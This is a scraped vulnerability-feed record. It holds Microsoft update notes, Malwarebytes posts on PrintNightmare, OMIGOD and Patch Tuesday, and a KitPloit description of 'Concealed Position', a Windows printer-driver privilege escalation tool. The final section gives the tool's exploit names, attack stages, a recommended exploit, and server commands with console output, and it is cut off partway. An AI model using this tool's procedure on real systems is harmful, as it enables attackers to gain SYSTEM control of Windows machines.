Microsoft Edge for business, see [Download and deploy Microsoft Edge for business](<https://www.microsoft.com/edge/business/download>). \nAfter installing the June 21, 2021 (KB5003690) update, some devices cannot install new updates, such as the July 6, 2021 (KB5004945) or later updates. You will receive the error message, \"PSFX_E_MATCHING_BINARY_MISSING\".| For more information and a workaround, see KB5005322. \nAfter installing this update, the Encrypted File System (EFS) API [OpenEncryptedFileRaw(A/W)](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfilerawa>), often used in backup software, will not work when you back up to or from a Windows Server 2008 SP2 device. OpenEncryptedFileRaw will continue to work on all other versions of Windows (local and remote).| This behavior is expected because we addressed the issue in CVE-2021-36942.**Note** If you cannot use backup software on Windows 7 SP1 and Server 2008 R2 SP1 or later after installing this update, contact the manufacturer of your backup software for updates and support. \n \n## How to get this update\n\n**Before installing this update**Microsoft now combines the latest servicing stack update (SSU) for your operating system with the latest cumulative update (LCU).

Key changes include:\n\n * Addresses an issue that renders some Yu Gothic and Yu Mincho characters incorrectly in vertical writing mode.\n * Addresses an issue with zoom that occurs when using Microsoft Edge IE Mode on devices that use multiple high-DPI monitors.\n * Addresses an issue that causes Windows to stop working when it uses AppLocker to validate a file that has multiple signatures. The error is 0x3B.\n * Changes the default privilege requirement for installing drivers when using Point and Print. After installing this update, you must have administrative privileges to install drivers. If you use Point and Print, see [KB5005652](<https://support.microsoft.com/topic/873642bf-2634-49c5-a23b-6d8e9a302872>), [Point and Print Default Behavior Change](<https://aka.ms/PointPrintMSRCBlog>), and [CVE-2021-34481](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481>) for more information.\n * Addresses an issue with Administrative Template settings you configure using a Group Policy Object (GPO). When you change the value of the policy settings to NOT CONFIGURED, the system continues to apply the previous settings instead of removing them. This issue occurs after installing the June 2020 or later updates and is most noticeable with roaming user profiles.\n * Addresses an issue in which an extra dereference against a sign in session causes **lsass.exe** to stop working after the user signs out.\nIf you installed earlier updates, only the new fixes contained in this package will be downloaded and installed on your device.For more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n**Windows Update Improvements**Microsoft has released an update directly to the Windows Update client to improve reliability. Any device running Windows 10 configured to receive updates automatically from Windows Update, including Enterprise and Pro editions, will be offered the latest Windows 10 feature update based on device compatibility and Windows Update for Business deferral policy. This doesn't apply to long-term servicing editions.\n\n## Known issues in this update\n\n### \n\n__\n\nClick or tap to view the known issues\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this update, the Encrypted File System (EFS) API [OpenEncryptedFileRaw(A/W)](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfilerawa>), often used in backup software, will not work when you back up to or from a Windows Server 2008 SP2 device. OpenEncryptedFileRaw will continue to work on all other versions of Windows (local and remote).| This behavior is expected because we addressed the issue in CVE-2021-36942.**Note** If you cannot use backup software on Windows 7 SP1 and Server 2008 R2 SP1 or later after installing this update, contact the manufacturer of your backup software for updates and support. \nAfter installing updates released April 22, 2021 or later, an issue occurs that affects versions of Windows Server that are in use as a Key Management Services (KMS) host. Client devices running Windows 10 Enterprise LTSC 2019 and Windows 10 Enterprise LTSC 2016 might fail to activate. This issue only occurs when using a new Customer Support Volume License Key (CSVLK). **Note** This does not affect activation of any other version or edition of Windows. Client devices that are attempting to activate and are affected by this issue might receive the error, \"Error: 0xC004F074. The Software Licensing Service reported that the computer could not be activated. No Key Management Service (KMS) could be contacted. Please see the Application Event Log for additional information.\"Event Log entries related to activation are another way to tell that you might be affected by this issue. Open **Event Viewer **on the client device that failed activation and go to **Windows Logs **&gt; **Application**. If you see only event ID 12288 without a corresponding event ID 12289, this means one of the following:\n\n * The KMS client could not reach the KMS host.\n * The KMS host did not respond.\n * The client did not receive the response.\nFor more information on these event IDs, see [Useful KMS client events - Event ID 12288 and Event ID 12289](<https://docs.microsoft.com/windows-server/get-started/activation-troubleshoot-kms-general#event-id-12288-and-event-id-12289>).| This issue is resolved in KB5010359. \n \n## How to get this update\n\n**Before installing this update**Microsoft strongly recommends you install the latest servicing stack update (SSU) for your operating system before installing the latest cumulative update (LCU).

There must be a whole host of people in Redmond having nightmares about the Windows Print Spooler service by now.\n\nPrintNightmare is the name of a set of vulnerabilities that allow a standard user on a Windows network to execute arbitrary code on an affected machine (including domain controllers) as SYSTEM, allowing them to elevate their privileges as far as domain admin. Users trigger the flaw by simply feeding a vulnerable machine a malicious printer driver. The problem was made worse by [confusion](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/patch-now-emergency-fix-for-printnightmare-released-by-microsoft/>) around whether PrintNightmare was a known, patched problem or an entirely new problem. In the end it turned out to be a bit of both.\n\n### What happened?\n\nIn June, Microsoft patched a vulnerability in the Windows Print Spooler that was listed as [CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>). At first it was classified as an elevation of privilege (EoP) vulnerability. Which means that someone with limited access to a system could raise their privilege level, giving them more power over the affected system. This type of vulnerability is serious, especially when it is found in a widely used service like the Windows Print Spooler. A few weeks after the patch Microsoft raised the level of seriousness to a remote code execution (RCE) vulnerability. RCE vulnerabilities allow a malicious actor to execute their code on a different machine on the same network.\n\nIn a rush to be the first to publish a proof-of-concept (PoC), researchers published a write-up and a demo exploit to demonstrate the vulnerability. Only to find out they had alerted the world to a new 0-day vulnerability by accident. This vulnerability listed as [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) was introduced under the name PrintNightmare.\n\nOminously, the researchers behind PrintNightmare predicted that the Print Spooler, which has seen its fair share of problems in the past, would be a fertile ground for further discoveries.\n\nAt the beginning of July, Microsoft issued a set of out-of-band patches to fix this Windows Print Spooler RCE vulnerability. Soon enough, several researchers figured out that local privilege escalation (LPE) still worked. This means that threat actors and already active malware can still exploit the vulnerability to gain SYSTEM privileges. In a demo, [Benjamin Delpy](<https://twitter.com/gentilkiwi>) showed that the update failed to fix vulnerable systems that use certain settings for a feature called Point and Print, which makes it easier for network users to obtain the printer drivers they need.\n\nOn July 13 the Cybersecurity and Infrastructure Security Agency (CISA) issued [Emergency Directive 21-04](<https://cyber.dhs.gov/ed/21-04/>), \u201cMitigate Windows Print Spooler Service Vulnerability\u201d because it became aware of multiple threat actors exploiting PrintNightmare.\n\nAlso in July, [CrowdStrike](<https://www.crowdstrike.com/blog/magniber-ransomware-caught-using-printnightmare-vulnerability/>) identified Magniber ransomware attempting to use a known PrintNightmare vulnerability to compromise victims.\n\n### An end to the nightmare?\n\nIn the August 10 [Patch Tuesday](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/printnightmare-and-rdp-rce-among-major-issues-tackled-by-patch-tuesday/>) update, the Print Spooler service was subject to _yet more_ patching, and Microsoft said that this time its patch should address all publicly documented security problems with the service.\n\nIn an unusual breaking change, one part of the update made admin rights required before using the Windows Point and Print feature.\n\n### Just one day later\n\nOn August 11, Microsoft released information about [CVE-2021-36958](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36958>), yet another 0-day that allows local attackers to gain SYSTEM privileges on a computer. Again, it was security researcher Benjamin Delpy who [demonstrated](<https://vimeo.com/581584478>) the vulnerability, showing that threat actors can still gain SYSTEM privileges simply by connecting to a remote print server.\n\n### Mitigation\n\nThe workaround offered by Microsoft is stopping and disabling the Print Spooler service, although at this point you may be seriously considering a revival of the paperless office idea. So:\n\n * Disable the Print Spooler service on machines that do not need it. Please note that stopping the service without disabling may not be enough.\n * For the systems that do need the Print Spooler service to be running make sure they are not exposed to the Internet.\n\nMicrosoft says it is investigating the vulnerability and working on (yet another) security update.\n\nLike I said [yesterday](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/printnightmare-and-rdp-rce-among-major-issues-tackled-by-patch-tuesday/>): To be continued.\n\nThe post [Microsoft&#x27;s PrintNightmare continues, shrugs off Patch Tuesday fixes](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/microsofts-printnightmare-continues-shrugs-off-patch-tuesday-fixes/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-12T11:30:26", "type": "malwarebytes", "title": "Microsoft\u2019s PrintNightmare continues, shrugs off Patch Tuesday fixes", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527", "CVE-2021-36958"], "modified": "2021-08-12T11:30:26", "id": "MALWAREBYTES:7F8FC685D6EFDE8FC4909FDA86D496A5", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/microsofts-printnightmare-continues-shrugs-off-patch-tuesday-fixes/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-09-17T16:35:06", "description": "The September 2021 Patch Tuesday could be remembered as the _final_ patching attempt in the PrintNightmare\u2026 nightmare. The ease with which the vulnerabilities [shrugged off the August patches](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/microsofts-printnightmare-continues-shrugs-off-patch-tuesday-fixes/>) doesn\u2019t look to get a rerun. So far we haven\u2019t seen any indications that this patch is so easy to circumvent.\n\nThe total count of fixes for this Patch Tuesday tallies up to 86, including 26 for Microsoft Edge alone. Only a few of these vulnerabilities are listed as zero-days and two of them are &quot;old friends&quot;. There is a third, less-likely-to-be-exploited one, and then we get to introduce a whole new set of vulnerabilities nicknamed OMIGOD, for reasons that will become obvious.\n\nAzure was the subject of five CVE\u2019s, one of them listed as critical. The four that affect the Open Management Infrastructure (OMI) were found by researchers, grouped together and received the nickname OMIGOD.\n\n### PrintNightmare\n\nPrintNightmare is the name of a set of vulnerabilities that allow a standard user on a Windows network to execute arbitrary code on an affected machine (including domain controllers) as SYSTEM, allowing them to elevate their privileges as far as domain admin. Users trigger the flaw by simply feeding a malicious printer driver to a vulnerable machine, and could use their new-found superpowers to install programs; view, change, or delete data; or create new accounts with full user rights.\n\nThe problem was made worse by significant [confusion](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/patch-now-emergency-fix-for-printnightmare-released-by-microsoft/>) about whether PrintNightmare was a known, patched problem or an entirely new problem, and by repeated, at best partially-successful, attempts to patch it.\n\nThis month, Microsoft patched the remaining Print Spooler vulnerabilities under [CVE-2021-36958](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36958>). Fingers crossed.\n\n### MSHTML\n\nThis zero-day vulnerability that felt like a ghost from the past (it involved ActiveX, remember that?) was only [found last week](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/windows-mshtml-zero-day-actively-exploited-mitigations-required/>), but has attracted significant attention. It was listed as [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>), a Remote Code Execution (RCE) vulnerability in Microsoft MSHTML. \n\nThreat actors were sharing PoCs, tutorials and exploits on hacking forums, so that every script kiddy and wannabe hacker was able to follow step-by-step instructions in order to launch their own attacks. Microsoft published mitigation instructions that disabled the installation of new ActiveX controls, but this turned out to be easy to work around for attackers.\n\nGiven the short window of opportunity, there was some doubt about whether a fix would be included in this Patch Tuesday, but it looks like Microsoft managed to pull it off.\n\n### DNS elevation of privilege vulnerability\n\nThis vulnerability was listed as [CVE-2021-36968](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36968>) and affects systems running Windows Server 2008 R2 SP1, SP2 and Windows 7 SP1. It exists due to an application that does not properly impose security restrictions in Windows DNS. The vulnerability is listed as a zero-day because it has been publicly disclosed, not because it is actively being exploited.\n\nMicrosoft says that exploitation is \u201cless likely\u201d, perhaps because it requires initial authentication and can only be exploited locally. If these conditions are met this bug can be used to accomplish elevation of privilege (EoP). \n\n### OMIGOD\n\nOMIGOD is the name for a set of four vulnerabilities in the Open Management Infrastructure (OMI) that you will find embedded in many popular Azure services. The CVEs are:\n\n * [CVE-2021-38647](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38647>) OMI RCE Vulnerability with a [CVSS score](<https://blog.malwarebytes.com/malwarebytes-news/2020/05/how-cvss-works-characterizing-and-scoring-vulnerabilities/>) of 9.8 out of 10.\n * [CVE-2021-38648](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38648>) Open Management Infrastructure Elevation of Privilege Vulnerability\n * [CVE-2021-38645](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38645>) Open Management Infrastructure Elevation of Privilege Vulnerability\n * [CVE-2021-38649](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38649>) Open Management Infrastructure Elevation of Privilege Vulnerability\n\nThe [researchers](<https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution>) that discovered the vulnerabilities consider OMIGOD to be a result of the supply-chain risks that come with using open-source code:\n\n> Wiz\u2019s research team recently discovered a series of alarming vulnerabilities that highlight the supply chain risk of open source code, particularly for customers of cloud computing services.\n\nOMI runs as root (the highest privilege level) and is activated within Azure when users enable certain services, like distributed logging, or other management tools and services. It&#x27;s likely that many users aren&#x27;t even aware they have it running.\n\nThe RCE vulnerability (CVE-2021-38647) can be exploited in situations where the OMI ports are accessible to the Internet to allow for remote management. In this configuration, any user can communicate with it using a UNIX socket or via an HTTP API, and any user can abuse it to remotely execute code or escalate privileges.\n\nA coding mistake means that any incoming request to the service _without_ an authorization header has its privileges default to uid=0, gid=0, which is root. \n \nOMIGOD, right?\n\nThe researchers report that the flaw can only be used to remotely takeover a target when OMI exposes the HTTPS management port externally. This is the default configuration when installed standalone and in Azure Configuration Management or System Center Operations Manager (SCOM). Other Azure services (such as Log Analytics) do not expose this port, so in those cases the scope is limited to local privilege escalation.\n\nThey advise all Azure customers to connect to their Azure VMs and run the commands below in their terminal to ensure OMI is updated to the latest version:\n\n * For Debian systems (e.g., Ubuntu): `dpkg -l omi`\n * For Redhat based system (e.g., Fedora, CentOS, RHEL): `rpm -qa omi`\n\nIf OMI isn\u2019t installed, the commands won&#x27;t return any results, and your machine isn\u2019t vulnerable. Version 1.6.8.1 is the patched version. All earlier versions need to be patched.\n\n## Update September 17, 2021\n\nAfter a proof-of-concept exploit was published on code hosting website GitHub, attackers we re noticed to be looking for Linux servers running on Microsoft\u2019s Azure cloud infrastructure. These systems are vulnerable to the security flaw called OMIGOD.\n\nAccording to reports from security researchers the attackers use the OMIGOD exploit, to deploy malware that ensnares the hacked server into cryptomining or DDoS botnets.\n\nThe post [[updated] Patch now!

In fact, 44 is a low number compared to what we have seen on recent Patch Tuesdays. So what are the most notable vulnerabilities that were patched.\n\n * One actively exploited vulnerability\n * One vulnerability that has a CVSS score of 9.9 out of 10\n * And yet another attempt to fix PrintNightmare\n\nLet\u2019s go over these worst cases to get an idea of what we are up against.\n\n### CVEs\n\nPublicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services).\n\n### Actively exploited\n\n[CVE-2021-36948](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36948>) is an [elevation of privilege (EoP)](<https://blog.malwarebytes.com/glossary/privilege-escalation/>) vulnerability in the Windows Update Medic Service. The Windows Update Medic Service is a background service that was introduced with Windows 10 and handles the updating process. Its only purpose is to repair the Windows Update service so that your PC can continue to receive updates unhindered. Besides on Windows 10 it also runs on Windows Server 2019. According to Microsoft CVE-2021-36948 is being actively exploited, but it is not aware of exploit code publicly available. [Reportedly](<https://blog.automox.com/automox-experts-weigh-in-august-patch-tuesday-2021>), the exploit is both low complexity and can be exploited without user interaction, making this an easy vulnerability to include in an adversaries toolbox. The bug is only locally exploitable, but local elevation of privilege is exactly what ransomware gangs will be looking to do after breaching a network, for example.\n\n### 9.9 out of 10\n\n[CVE-2021-34535](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34535>) is a [Remote Code Execution (RCE)](<https://blog.malwarebytes.com/glossary/remote-code-execution-rce-attack/>) vulnerability in Windows TCP/IP. This is remotely exploitable by a malicious Hyper-V guest sending an ipv6 ping to the Hyper-V host. An attacker could send a specially crafted TCPIP packet to its host. This vulnerability exists in the TCP/IP protocol stack identified in Windows 7 and newer Microsoft operating systems, including servers.\n\nThis vulnerability received a CVSS score of 9.9 out of 10. The CVSS standards are used to help security researchers, software users, and vulnerability tracking organizations measure and report on the severity of vulnerabilities. CVSS can also help security teams and developers prioritize threats and allocate resources effectively.\n\n### 9.8 out of 10\n\nAnother high scorer is [CVE-2021-26432](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26432>), an RCE in the Windows Services for NFS ONCRPC XDR Driver. Open Network Computing (ONC) Remote Procedure Call (RPC) is a remote procedure call system. ONC was originally developed by Sun Microsystems. The NFS protocol is independent of the type of operating system, network architecture, and transport protocols. The Windows service for the driver makes sure that Windows computers can use this protocol. This vulnerability got a high score because it is known to be easy to exploit and can be initiated remotely.\n\n### More RDP\n\n[CVE-2021-34535](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34535>) is an RCE in the Remote Desktop Client. Microsoft lists two exploit scenarios for this vulnerability:\n\n * In the case of a Remote Desktop connection, an attacker with control of a Remote Desktop Server could trigger a remote code execution (RCE) on the machine when a victim connects to the attacking server with the vulnerable Remote Desktop Client.\n * In the case of Hyper-V, a malicious program running in a guest VM could trigger guest-to-host RCE by exploiting this vulnerability in the Hyper-V Viewer when a victim running on the host connects to the attacking Hyper-V guest.\n\nSince this is a client-side vulnerability, an attacker would have to convince a user to authenticate to a malicious RDP server, where the server could then trigger the bug on the client side. Combined with other RDP weaknesses however, this vulnerability would be easy to chain into a full system take-over.\n\n### Never-ending nightmare of PrintNightmare\n\nThe Print Spooler service was subject to yet more patching. The researchers behind PrintNightmare predicted that it would be a fertile ground for further discoveries, and they seem to be right. I\u2019d be tempted to advise Microsoft to start from scratch instead of patching patches on a very old chunk of code.\n\n[CVE-2021-36936](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36936>) an RCE vulnerability in Windows Print Spooler. A vulnerability that was publicly disclosed, which may be related to several bugs in Print Spooler that were identified by researchers over the past few months (presumably PrintNightmare).\n\n[CVE-2021-34481](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34481>) and [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34527>) are RCE vulnerabilities that could allow attackers to run arbitrary code with SYSTEM privileges.\n\nMicrosoft said the Print Spooler patch it pushed this time should address all publicly documented security problems with the service. In an unusual step, it has made a breaking change: \u201cToday we are addressing this risk by changing the default Point and Print driver installation and update behavior to require administrator privileges.\u201d\n\nTo be continued, we suspect.\n\nThe post [PrintNightmare and RDP RCE among major issues tackled by Patch Tuesday](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/printnightmare-and-rdp-rce-among-major-issues-tackled-by-patch-tuesday/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-11T12:16:17", "type": "malwarebytes", "title": "PrintNightmare and RDP RCE among major issues tackled by Patch Tuesday", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26432", "CVE-2021-34481", "CVE-2021-34527", "CVE-2021-34535", "CVE-2021-36936", "CVE-2021-36948"], "modified": "2021-08-11T12:16:17", "id": "MALWAREBYTES:9F3181D8BD5EF0E44A305AF69898B9E0", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/printnightmare-and-rdp-rce-among-major-issues-tackled-by-patch-tuesday/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "kitploit": [{"lastseen": "2022-04-07T12:01:39", "description": "[](<https://1.bp.blogspot.com/-JMl-654CheQ/YUOLZnQfumI/AAAAAAAAuuQ/JGDFkb4V1iQ5GvRUodx6ZDEecD6q2iZ1gCNcBGAsYHQ/s300/printer_hack.jpeg>)\n\n \n\n\nConcealed Position is a local [privilege escalation](<https://www.kitploit.com/search/label/Privilege%20Escalation> \"privilege escalation\" ) attack against Windows using the concept of \"Bring Your Own Vulnerability\". Specifically, Concealed Position (CP) uses the _as designed_ package point and print logic in Windows that allows a low privilege user to stage and install printer drivers. CP specifically installs drivers with [known vulnerabilities](<https://www.kitploit.com/search/label/Known%20Vulnerabilities> \"known vulnerabilities\" ) which are then exploited to escalate to SYSTEM. Concealed Position was first presented at DEF CON 29.\n\n \n\n\n**What exploits are available** \n\n\nConcealed Position offers four exploits - all with equally dumb names:\n\n * ACIDDAMAGE - [CVE-2021-35449](<https://nvd.nist.gov/vuln/detail/CVE-2021-35449> \"CVE-2021-35449\" ) \\- Lexmark Universal Print Driver LPE\n * RADIANTDAMAGE - [CVE-2021-38085](<https://nvd.nist.gov/vuln/detail/CVE-2021-38085> \"CVE-2021-38085\" ) \\- Canon TR150 Print Driver LPE\n * POISONDAMAGE - [CVE-2019-19363](<https://nvd.nist.gov/vuln/detail/CVE-2019-19363> \"CVE-2019-19363\" ) \\- Ricoh PCL6 Print Driver LPE\n * SLASHINGDAMAGE - [CVE-2020-1300](<https://nvd.nist.gov/vuln/detail/CVE-2020-1300> \"CVE-2020-1300\" ) \\- Windows Print Spooler LPE\n\nThe exploits are neat because, besides SLASHINGDAMAGE, they will continue working even after the issues are patched. The only mechanism Windows has to stop users from using old drivers is to revoke the driver's certificate - something that is not(?) historically done.\n\n \n**But which exploit should I use?!** \n\n\nProbably ACIDDAMAGE. RADIANTDAMAGE and POISONDAMAGE are race conditions (to overwrite a DLL) and SLASHINGDAMAGE damage, hopefully, is patched most everywhere.\n\n \n**How does it work?** \n\n\nConcealed Position has two parts. An evil printer and a client. The client reaches out to the server, grabs a driver, gets the driver stored in the driver store, installs the printer, and exploits the install process. Easy! In MSAPI speak, the attack goes something like this:\n \n \n Step 1: Stage the driver in the driver store \n client to server: GetPrinterDriver \n server to client: Response with driver \n \n Stage 2: Install the driver from the driver store \n client: InstallPrinterDriverFromPackage \n \n Stage 3: Add a local printer (exploitation stage) \n client: Add printer \n \n\nIt is important to note that SLASHINGDAMAGE doesn't actually work like that though. SLASHINGDAMAGE is an implementation of the evil printer attack described at DEFCON 28 (2020) and has long since been patched. I just so happen to enjoy the attack (it sparked the rest of this development) and figured I'd leave the exploit in my evil server... as confusing as that may be.\n\n \n**Is this a Windows vulnerability?** \n\n\nArguably, yes. The driver store is a [\"trusted collection of ... third-party driver packages\"](<https://docs.microsoft.com/en-us/windows-hardware/drivers/install/driver-store> \"trusted collection of ... third-party driver packages\" ) that requires administrator access to modify. Using `GetPrinterDriver` a low privileged attacker can stage arbitrary drivers into the store. This, to me, crosses a clear security boundary.\n\nMicrosoft seemed to agree when they issued [CVE-2021-34481](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481> \"CVE-2021-34481\" ).\n\nAlthough... it's arguable that this is simply a feature of the system and not a [vulnerability](<https://www.kitploit.com/search/label/Vulnerability> \"vulnerability\" ) at all. It really doesn't matter all that much. An attacker can escalate to SYSTEM on standard Windows installs.\n\n \n**Which verions of Windows are affected by CVE-2021-34481?** \n\n\nAt least Windows 8.1 and above.\n\n \n**How do I use these tools?** \n\n\nSimple! So simple there will be many paragraphs to describe it!\n\n \n**CP Server** \n\n\nFirst, let's look at cp_server's command line options:\n \n \n C:\\Users\\albinolobster\\concealed_position\\build\\x64\\Release\\bin>cp_server.exe \n _______ _______ __ _ _______ _______ _______ ___ _______ ______ \n | || || | | || || || _ || | | || | \n | || _ || |_| || || ___|| |_| || | | ___|| _ | \n | || | | || || || |___ | || | | |___ | | | | \n | _|| |_| || _ || _|| ___|| || |___ | ___|| |_| | \n | |_ | || | | || |_ | |___ | _ || || |___ | | \n |_______||_______||_| |__||_______||_______||__| |__||_______||_______||______| \n _______ _______ _______ ___ _______ ___ _______ __ _ \n | || || || | | || | | || | | | \n | _ || _ || _____|| | |_ _|| | | _ || |_| | \n | |_| || | | || |_____ | | | | | | | | | || | \n | ___|| |_| || _____ || | | | | | | |_| || _ | \n | | | | _____| || | | | | | | || | | | \n |___| |_______||_______||___| |___| |___| |_______||_| |__| server! \n \n CLI options: \n -h, --help Display the help message \n -e, --exploit arg The exploit to use \n -c, --cabs arg (=.\\cab_files) The location of the cabinet files \n \n Exploits available: \n ACIDDAMAGE \n POISONDAMAGE \n RADIANTDAMAGE \n SLASHINGDAMAGE \n \n C:\\Users\\albinolobster\\concealed_position\\build\\x64\\Release\\bin> \n \n\nAbove you can see the server requires two options:\n\n 1. The exploit to configure the printer for\n 2. A path to this repositories cab_files (.\\cab_files\\ is the default)\n\nFor example, let's say we wanted to configure an evil printer that would serve up the ACIDDAMAGE driver. Just do this:\n \n \n C:\\Users\\albinolobster\\concealed_position\\build\\x64\\Release\\bin>cp_server.exe -e ACIDDAMAGE \n _______ _______ __ _ _______ _______ _______ ___ _______ ______ \n | || || | | || || || _ || | | || | \n | || _ || |_| || || ___|| |_| || | | ___|| _ | \n | || | | || || || |___ | || | | |___ | | | | \n | _|| |_| || _ || _|| ___|| || |___ | ___|| |_| | \n | |_ | || | | || |_ | |___ | _ || || |___ | | \n |_______||_______||_| |__||_______||_______||__| |__||_______||_______||______| \n _______ _______ _______ ___ _______ ___ _______ __ _ \n | || || || | | || | | || | | | \n | _ || _ || _____|| | |_ _|| | | _ || |_| | \n | |_| || | | || |_____ | | | | | | | | | || | \n | ___|| |_| ||_____ || | | | | | | |_| || _ | \n | | | | _____| || | | | | | | || | | | \n |___| |_______||_______||___| |___| |___| |_______||_| |__| server! \n \n [+] Creating temporary space... \n [+] Expanding .\\cab_files\\ACIDDAMAGE\\LMUD1o40.cab \n [+] Pushing into the driver store \n [+] Cleaning up tmp space \n [+] Installing print driver \n [+] Driver installed! \n [+] Installing shared printer \n [+] Shared printer installed! \n [+] Automation Done. \n [!] IMPORTANT MANUAL STEPS! \n [0] In Advanced Sharing Settings, Turn off password protected sharing. \n [1] Ready to go! \n \n C:\\Users\\albinolobster\\concealed_position\\build\\x64\\Release\\bin> \n \n\nAnd that's it, you'll see a new printer on your system:\n \n \n PS C:\\Users\\albinolobster\\concealed_position\\build\\x64\\Release\\bin> Get-Printer \n \n Name ComputerName Type DriverName PortName Shared Publishe \n d \n ---- ------------ ---- ---------- -------- ------ -------- \n ACIDDAMAGE Local Lexmark Universal v2 LPT1: True False \n CutePDF Writer Local CutePDF Writer v4.0 CPW4: False False \n OneNote for Windows 10 Local Microsoft Software Pri...

SHRFAX: False False \n \n \n PS C:\\Users\\albinolobster\\concealed_position\\build\\x64\\Release\\bin> \n \n\nNote that there is one manual step that `cp_server` prompts you to do. Because I'm a junk hacker, I couldn't figure out how to programmatically set the \"Advanced Sharing Settings\" -&gt; \"Turn off password protected sharing\". You'll have to do that yourself!\n\nThe process for using `SLASHINGDAMAGE` is a little different. You'll need to first install CutePDF Writer (find the installers in the 3rd party directory). Then run cp_server and _then_ you'll still need to follow a couple of manual steps and reboot.\n\n \n**CP Client** \n\n\nThe client is similarly easy to use. Let's look at it's command line options:\n \n \n C:\\Users\\albinolobster\\concealed_position\\build\\x64\\Release\\bin>cp_client.exe \n _______ _______ __ _ _______ _______ _______ ___ _______ ______ \n | || || | | || || || _ || | | || | \n | || _ || |_| || || ___|| |_| || | | ___|| _ | \n | || | | || || || |___ | || | | |___ | | | | \n | _|| |_| || _ || _|| ___|| || |___ | ___|| |_| | \n | |_ | || | | || |_ | |___ | _ || || |___ | | \n |_______||_______||_| |__||_______||_______||__| |__||_______||_______||______| \n _______ _______ _______ ___ _______ ___ _______ __ _ \n | || || || | | || | | || | | | \n | _ || _ || _____|| | |_ _|| | | _ || |_| | \n | |_| || | | || |_____ | | | | | | | | | || | \n | ___|| |_| || _____ || | | | | | | |_| || _ | \n | | | | _____| || | | | | | | || | | | \n |___| |_______||_______||___| |___| 